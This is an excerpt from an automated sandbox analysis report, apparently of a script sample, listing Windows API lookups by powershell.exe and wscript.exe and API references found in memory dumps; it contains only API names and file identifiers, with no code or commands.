(UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter select (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutput (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutputW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutput (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutputW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ShellExecuteEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_Initialize (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MI_Application_InitializeV1 (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsNotShuttingDown (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_GetCurrentSecurityToken (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetComputerName (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetComputerNameW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_Initialize (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeInstanceCallback (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeStreamedParameterResultCallback (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteMessageCallback (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteProgressCallback (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteErrorCallback (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativePromptUserCallback (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_SetupDrainingIfNeeded (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetThreadToken (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_ScheduleDrainingWorkIfNeeded (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_DecrementCount_AndDontWorryAboutLifetimeOfMiDotNetDll (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_GetInstance (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter OpenSCManager (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter OpenSCManagerW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetServiceKeyName (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetServiceKeyNameW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetServiceDisplayName (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetServiceDisplayNameW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter OpenService (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter OpenServiceW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter QueryServiceStatus (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter QueryServiceStatusW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CloseServiceHandle (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CloseServiceHandleW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EnumDependentServices (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EnumDependentServicesW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsShuttingDown (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_SessionHandle_OnReleaseHandleCompleted (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_SetAppDomainIsUnloading (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_ScheduleCleanupCallback (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00006036) "wscript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter SHGetPathFromIDListW (UID: 00000000-00005276) "wscript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003076) "wscript.exe" called "GetProcAddress" with a parameter SHGetPathFromIDListW (UID: 00000000-00003076)46:T62d3,Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 